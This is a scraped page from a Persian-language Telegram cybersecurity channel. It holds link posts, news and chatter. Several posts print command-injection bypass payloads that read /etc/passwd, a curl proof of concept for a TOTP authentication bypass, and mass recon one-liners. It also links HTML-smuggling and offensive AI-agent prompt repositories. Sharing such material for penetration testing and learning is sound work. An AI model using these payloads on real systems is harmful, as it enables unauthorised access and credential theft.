NEW BOT Телеграм, страница

Mandegar SEC🎩

ارتقای سطح دسترسی (Privilege Escalation) تو ویندوز

عملا همیشه برمی‌گرده به Enumeration درست و حسابی.
اما Enumeration خوب یعنی بدونی چی رو باید چک کنی و دنبال چی بگردی. این مهارت یه‌ شبه به دست نمیاد؛ معمولا با شناخت سیستم‌ ها و تجربه کم‌کم شکل میگیره.

اوایل مسیر، PrivEsc خیلی ترسناک و شلوغ به نظر میاد. کلی چیز جلوت هست و حس میکنی باید همه‌ چی رو زیر و رو کنی به امید اینکه یه باگ از توش دربیاد.
ولی با گذشت زمان، ذهنت فیلتر می‌سازه؛ میفهمی چی طبیعیه و چی مشکوکه. از یه جایی به بعد، به‌جای گشتن کورکورانه، دقیقا میدونی کجاها رو باید نگاه بندازی.

هدف این راهنما هم دقیقا همینه:
اینکه یه پایه‌ یه درست بهت بده تا روش بسازی و بدونی از کجا شروع کنی، نه اینکه فقط دنبال سوزن تو انبار کاه بگردی.
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤6👍1🏆1

1.36K views09:08

Mandegar SEC🎩

''Exploiting A Pre-Auth RCE in W3 Total Cache For WordPress (CVE-2025-9501) | RCE Security''

https://www.rcesecurity.com/2025/11/exploiting-a-pre-auth-rce-in-w3-total-cache-for-wordpress-cve-2025-9501/

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#infosec #pentest #redteam #blueteam

❤6

715 views09:09

Mandegar SEC🎩

⚠️ هشدار امنیتی برای کاربران Google Chrome
گوگل اعلام کرده دو مشکل امنیتی «پرخطر» در مرورگر Chrome شناسایی شده که می‌تواند به هکرها اجازه دهد از طریق وب‌سایت‌های آلوده یا کدهای مخرب، به اطلاعات کاربران دسترسی پیدا کنند.
این یعنی اگر مرورگر به‌روز نباشد، باز کردن یک سایت ناسالم می‌تواند منجر به سرقت اطلاعات، دسترسی غیرمجاز یا اجرای کد مخرب شود.
گوگل برای این مشکل آپدیت امنیتی منتشر کرده و تأکید کرده کاربران نباید منتظر آپدیت خودکار بمانند.
راه‌حل ساده:
Menu ⋮ → Help → About Chrome
آپدیت را نصب کنید و روی Relaunch کلیک کنید.
در صورت بروز هرگونه تهدید دیجیتال با
«میز کمک‌های فوری امنیت دیجیتال میان»
تماس بگیرید:
Signal: +46766860503
Telegram:@miaan_helpline_bot
Email:helpdesk@miaan.org

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤9

2.51K views09:51

Mandegar SEC🎩

شاید باورتون نشه اما باید بگم؛
کسی قرار نیست به خاطر از خود گذشتگی های شما و البته سازگارهای زیاد بهتون مدال بده؛
در نهایت آدم ها با جمله
«مگه من گفتم انجامش بدی»
نا امیدتون میکنن...
پس تلاش کنید
همه جا به اندازه باشید؛
ترمیم روحتون بعدِ شنیدن این جمله کار سختیه...

❤8👍2🍌1

787 views14:02

Mandegar SEC🎩

📌2FA Bypass Methods

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#infosec #cybersecurity #hacking #pentesting #security

❤4👍1🍌1

836 views14:19

Mandegar SEC🎩

Simple Command Injection Bypass


1. cat</etc/passwd
2. {cat,/etc/passwd}
3. cat${IFS}/etc/passwd
4. cat%20/et%5C%0Ac/pa%5C%0Asswd
5. cat echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

🚀 https://github.com/swisskyrepo/PayloadsAllTheThings

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#BugBounty #RCE #InfoSec

❤3

838 viewsedited 14:47

Mandegar SEC🎩

0:45

This media is not supported in your browser

VIEW IN TELEGRAM

File-Smuggling

HTML smuggling is not an evil, it can be useful

https://github.com/eddiechu/File-Smuggling

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤4

762 views14:52

Mandegar SEC🎩

عاجزانه خواهش میکنم فردا نگین (آخ تو شب یلدایه منی)😕

🍌22❤1

607 viewsarmita, edited 14:53

Mandegar SEC🎩

چک لیست امنیت API🛡:
چک لیستی از مهمترین اقدامات متقابل امنیتی هنگام طراحی، آزمایش و انتشار API شما.

https://github.com/shieldfy/API-Security-Checklist

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#cybersecurity #api #hacking #bughunting

❤10👍2

525 views08:09

Mandegar SEC🎩

یکی از اینفلوئنسرهای حوزه Ai بنام Robin Eber سایت پایین رو ساخته که بصورت رایگان، پرامپت شما رو آنالیز میکنه و بهش نمره میده.
بهتون میگه که آیا پرامپتتون رو خوب نوشتید یا نه و اگر نه، ایرادش کجاست و چطور میتونید بهترش کنید که بهترین خروجی ممکن رو بگیرید.
https://coach.robinebers.com/

Robinebers

Robin Ebers' AI Prompt Coach

Write AI coding prompts that actually work in 30 seconds. 15 proven principles from OpenAI and Anthropic's research teams.

❤6👍1

559 views08:30

Mandegar SEC🎩

🚨 3 critical/high FreePBX vulnerabilities disclosed

CVE-2025-66039: Authentication bypass
CVE-2025-61675: SQL injection
CVE-2025-61678: File upload leading to RCE

detection noscripts for these vulns:

https://github.com/rxerium/FreePBX-Vulns-December-25

https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤4🏆1

592 viewsedited 11:53

Mandegar SEC🎩

THC Release 💥: The world’s largest IP<>Domain database: https://ip.thc.org

All forward and reverse IPs, all CNAMES and all subdomains of every domain. For free.

Updated monthly.

Try: curl https://ip.thc.org/1.1.1.1

Raw data (187GB): https://ip.thc.org/docs/bulk-data-access

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤8🍌2

608 views15:07

Mandegar SEC🎩

شب یلداتون مبارک باشه دوستان❤️

❤7🍌2

626 views15:09

Mandegar SEC🎩

🤖 Offensive-AI-Agent-Prompts :

یه ریپو که یاد میده چطور از هوش مصنوعی به‌ عنوان Agent امنیتی استفاده میشه ، نه فقط یه چت‌بات معمولی.
پرامپت‌ ها طوری طراحی شدن که با AI تست نفوذ، تحلیل آسیب‌پذیری و بررسی امنیتی چجور انجام میشه .

#Ai :
ChatGPT، Gemini-CLI، DeepSeek، Cursor AI، Claude Code و Copilot
-> Pentester، Bug Hunter , Blue Team , red team

https://github.com/CyberSecurityUP/Offensive-AI-Agent-Prompts

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

4👍8🏆2

2.23K viewsedited 10:01

Mandegar SEC🎩

🤖 Offensive-AI-Agent-Prompts : یه ریپو که یاد میده چطور از هوش مصنوعی به‌ عنوان Agent امنیتی استفاده میشه ، نه فقط یه چت‌بات معمولی. پرامپت‌ ها طوری طراحی شدن که با AI تست نفوذ، تحلیل آسیب‌پذیری و بررسی امنیتی چجور انجام میشه . #Ai : ChatGPT، Gemini-CLI،…

وای بچه ها مرسییییییییییی واقعاااا برا استارز😍😍😍😘😘😘😘

❤6🍌4

547 viewsarmita, edited 12:23

Mandegar SEC🎩

one liner automation :😎

CSP Bypass Check :

cat alive.txt | httpx -silent -include-response-header | grep -i cat urls.txt | qsreplace 'param=value1&param=value2' | httpx -silent -mc 200

WordPress Enumeration :

cat alive.txt | httpx -silent -path /wp-json/wp/v2/users -mc 200 |anew wp_users.txt

☠️ Mass PTR lookup

prips 192.168.1.0/24 | xargs -P50 -I@ sh -c 'host @ 2>/dev/null | grep "pointer" | cut -d" " -f5' | sed 's/\.$//' | anew ptr_subs.txt

Exposed Admin Panels

cat alive.txt | httpx -silent -path /admin,/administrator,/admin.php,/wp-admin,/manager,/phpmyadmin -mc 200,301,302 | anew admin_panels.txt

💀 Find Hidden Admin Routes in JS

cat js.txt | xargs -I@ curl -s @ | grep -oE "[\"\'][/][a-zA-Z0-9_/-]*(admin|dashboard|manage|config|settings|internal|private|debug|api/v[0-9])[a-zA-Z0-9_/-]*[\"\']" | tr -d "\"'" | sort -u | anew hidden_routes.txt

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤5🍌1

714 views14:31

Mandegar SEC🎩

CVE-2025-66489 - Authentication Bypass via TOTP Code Presence

curl -X POST http://localhost:3001/api/auth/callback/credentials
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b cookies.txt \
  -c cookies.txt \
  -d "csrfToken=<TOKEN>&email=free@example.com&password=WRONG&totpCode=123456"

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤6

663 views15:15

Mandegar SEC🎩

Forwarded from GO-TO CVE (| | Sharo K h | |)

ای آدمای ناموفق

❤8

477 views15:16

About

Blog

Apps

Platform